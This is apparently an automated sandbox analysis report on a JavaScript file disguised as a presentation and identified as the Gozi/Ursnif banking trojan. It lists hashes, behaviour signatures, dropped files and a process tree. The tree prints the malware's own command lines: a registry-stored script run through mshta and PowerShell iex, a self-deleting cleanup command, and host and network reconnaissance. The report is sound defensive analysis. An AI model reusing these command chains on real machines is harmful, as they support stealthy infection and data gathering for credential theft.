Analysis

  • max time kernel
    150s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    02-06-2020 20:12

General

  • Target

    my_presentation_q2n.js

  • Size

    1.3MB

  • MD5

    3bfdc69fe78e172ffe8c054d36596163

  • SHA1

    ecddf99225e7fb6940270ef115b5c275f48e5f0b

  • SHA256

    77ce825e2c50017520147fce8c85173fd63077ef97a07097b53ec61df9048b83

  • SHA512

    456162fff6f4c83df925fd2ead41c24001d1ab2982f7a8bc740b7d051e1697899fe24959ebb23569a40fead8e905becdd7786fad28a651cc73baa73f885864ce

Malware Config

Signatures

  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • Discovers systems in the same network 1 TTPs 1 IoCs
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

  • Loads dropped DLL 1 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 1589 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs net.exe
  • Checks whether UAC is enabled 3 IoCs
  • Suspicious use of WriteProcessMemory 75 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Checks for installed software on the system 1 TTPs 21 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    • Suspicious use of AdjustPrivilegeToken
    PID:2988
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\Users\Admin\AppData\Local\Temp\my_presentation_q2n.js
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2916
      • C:\Windows\System32\regsvr32.exe
        "C:\Windows\System32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\\tmDvhuQzZOS.txt
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:796
        • C:\Windows\SysWOW64\regsvr32.exe
          -s C:\Users\Admin\AppData\Local\Temp\\tmDvhuQzZOS.txt
          4⤵
          • Loads dropped DLL
          PID:904
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\28FFF86C-67D8-9AFA-31DC-8B6EF5D0EF82\\\AxInrvps'));if(!window.flag)close()</script>"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3808
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\28FFF86C-67D8-9AFA-31DC-8B6EF5D0EF82").AppCbcd))
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        • Suspicious use of AdjustPrivilegeToken
        PID:3812
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3zhurldx\3zhurldx.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2284
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5F2D.tmp" "c:\Users\Admin\AppData\Local\Temp\3zhurldx\CSCE38C92F59F4B4FAE82139A95B4939D2A.TMP"
            5⤵
              PID:840
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\i2epcu0k\i2epcu0k.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1524
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6008.tmp" "c:\Users\Admin\AppData\Local\Temp\i2epcu0k\CSC21640062A67B437E8C72141E358E19C4.TMP"
              5⤵
                PID:3768
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\tmDvhuQzZOS.txt"
          2⤵
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3636
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            • Runs ping.exe
            PID:4068
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\418E.bi1"
          2⤵
            PID:556
            • C:\Windows\system32\nslookup.exe
              nslookup myip.opendns.com resolver1.opendns.com
              3⤵
                PID:1300
            • C:\Windows\system32\cmd.exe
              cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\411A.bi1"
              2⤵
                PID:992
                • C:\Windows\system32\nslookup.exe
                  nslookup myip.opendns.com resolver1.opendns.com
                  3⤵
                    PID:2664
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\418E.bi1"
                  2⤵
                    PID:840
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\411A.bi1"
                    2⤵
                      PID:2680
                    • C:\Program Files\Windows Mail\WinMail.exe
                      "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
                      2⤵
                        PID:1236
                      • C:\Windows\system32\cmd.exe
                        cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\19AD.bin1"
                        2⤵
                          PID:1284
                          • C:\Windows\system32\systeminfo.exe
                            systeminfo.exe
                            3⤵
                            • Gathers system information
                            PID:3144
                        • C:\Windows\system32\cmd.exe
                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\19AD.bin1"
                          2⤵
                            PID:3480
                          • C:\Windows\system32\cmd.exe
                            cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\19AD.bin1"
                            2⤵
                              PID:4068
                              • C:\Windows\system32\net.exe
                                net view
                                3⤵
                                • Discovers systems in the same network
                                PID:3836
                            • C:\Windows\system32\cmd.exe
                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\19AD.bin1"
                              2⤵
                                PID:3076
                              • C:\Windows\system32\cmd.exe
                                cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\19AD.bin1"
                                2⤵
                                  PID:840
                                  • C:\Windows\system32\nslookup.exe
                                    nslookup 127.0.0.1
                                    3⤵
                                      PID:3880
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\19AD.bin1"
                                    2⤵
                                      PID:556
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\19AD.bin1"
                                      2⤵
                                        PID:1488
                                        • C:\Windows\system32\tasklist.exe
                                          tasklist.exe /SVC
                                          3⤵
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Enumerates processes with tasklist
                                          PID:2860
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\19AD.bin1"
                                        2⤵
                                          PID:2648
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\19AD.bin1"
                                          2⤵
                                            PID:2064
                                            • C:\Windows\system32\driverquery.exe
                                              driverquery.exe
                                              3⤵
                                                PID:1704
                                            • C:\Windows\system32\cmd.exe
                                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\19AD.bin1"
                                              2⤵
                                                PID:844
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\19AD.bin1"
                                                2⤵
                                                  PID:3520
                                                  • C:\Windows\system32\reg.exe
                                                    reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                                    3⤵
                                                    • Checks for installed software on the system
                                                    PID:3488
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\19AD.bin1"
                                                  2⤵
                                                    PID:2336
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\19AD.bin1 > C:\Users\Admin\AppData\Local\Temp\19AD.bin & del C:\Users\Admin\AppData\Local\Temp\19AD.bin1"
                                                    2⤵
                                                      PID:4068
                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                    1⤵
                                                      PID:3436
                                                    • C:\Program Files\Internet Explorer\iexplore.exe
                                                      "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                                      1⤵
                                                      • Modifies Internet Explorer settings
                                                      • Suspicious use of FindShellTrayWindow
                                                      • Checks whether UAC is enabled
                                                      • Suspicious use of WriteProcessMemory
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:3916
                                                      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3916 CREDAT:82945 /prefetch:2
                                                        2⤵
                                                        • Modifies Internet Explorer settings
                                                        • Checks whether UAC is enabled
                                                        • Suspicious use of SetWindowsHookEx
                                                        PID:3936
                                                      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3916 CREDAT:82950 /prefetch:2
                                                        2⤵
                                                        • Modifies Internet Explorer settings
                                                        • Checks whether UAC is enabled
                                                        • Suspicious use of SetWindowsHookEx
                                                        PID:3704

                                                    Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

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                                                    Downloads

                                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_D9817BD5013875AD517DA73475345203

                                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_D9817BD5013875AD517DA73475345203

                                                    • C:\Users\Admin\AppData\Local\Temp\19AD.bin

                                                    • C:\Users\Admin\AppData\Local\Temp\19AD.bin1

                                                    • C:\Users\Admin\AppData\Local\Temp\19AD.bin1

                                                    • C:\Users\Admin\AppData\Local\Temp\19AD.bin1

                                                    • C:\Users\Admin\AppData\Local\Temp\19AD.bin1

                                                    • C:\Users\Admin\AppData\Local\Temp\19AD.bin1

                                                    • C:\Users\Admin\AppData\Local\Temp\19AD.bin1

                                                    • C:\Users\Admin\AppData\Local\Temp\19AD.bin1

                                                    • C:\Users\Admin\AppData\Local\Temp\19AD.bin1

                                                    • C:\Users\Admin\AppData\Local\Temp\19AD.bin1

                                                    • C:\Users\Admin\AppData\Local\Temp\19AD.bin1

                                                    • C:\Users\Admin\AppData\Local\Temp\19AD.bin1

                                                    • C:\Users\Admin\AppData\Local\Temp\19AD.bin1

                                                    • C:\Users\Admin\AppData\Local\Temp\3zhurldx\3zhurldx.dll

                                                    • C:\Users\Admin\AppData\Local\Temp\411A.bi1

                                                    • C:\Users\Admin\AppData\Local\Temp\411A.bi1

                                                    • C:\Users\Admin\AppData\Local\Temp\418E.bi1

                                                    • C:\Users\Admin\AppData\Local\Temp\418E.bi1

                                                    • C:\Users\Admin\AppData\Local\Temp\RES5F2D.tmp

                                                    • C:\Users\Admin\AppData\Local\Temp\RES6008.tmp

                                                    • C:\Users\Admin\AppData\Local\Temp\i2epcu0k\i2epcu0k.dll

                                                    • C:\Users\Admin\AppData\Local\Temp\tmDvhuQzZOS.txt

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\3zhurldx\3zhurldx.0.cs

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\3zhurldx\3zhurldx.cmdline

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\3zhurldx\CSCE38C92F59F4B4FAE82139A95B4939D2A.TMP

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\i2epcu0k\CSC21640062A67B437E8C72141E358E19C4.TMP

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\i2epcu0k\i2epcu0k.0.cs

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\i2epcu0k\i2epcu0k.cmdline

                                                    • \Users\Admin\AppData\Local\Temp\tmDvhuQzZOS.txt

                                                    • memory/1236-26-0x000002B935090000-0x000002B935091000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2988-27-0x0000000002810000-0x00000000028C1000-memory.dmp

                                                      Filesize

                                                      708KB

                                                    • memory/2988-12-0x0000000000920000-0x0000000000921000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2988-15-0x0000000002810000-0x00000000028C1000-memory.dmp

                                                      Filesize

                                                      708KB

                                                    • memory/2988-17-0x0000000005030000-0x00000000050E1000-memory.dmp

                                                      Filesize

                                                      708KB

                                                    • memory/2988-19-0x0000000002810000-0x00000000028C1000-memory.dmp

                                                      Filesize

                                                      708KB

                                                    • memory/3436-14-0x00000237AB1D0000-0x00000237AB1D1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3636-16-0x00000176D6120000-0x00000176D6121000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3636-21-0x00000176D83A0000-0x00000176D8451000-memory.dmp

                                                      Filesize

                                                      708KB

                                                    • memory/3812-13-0x0000020B3D430000-0x0000020B3D4E1000-memory.dmp

                                                      Filesize

                                                      708KB

                                                    • memory/3916-18-0x0000025EE40E0000-0x0000025EE40E1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4068-20-0x0000022B79550000-0x0000022B79551000-memory.dmp

                                                      Filesize

                                                      4KB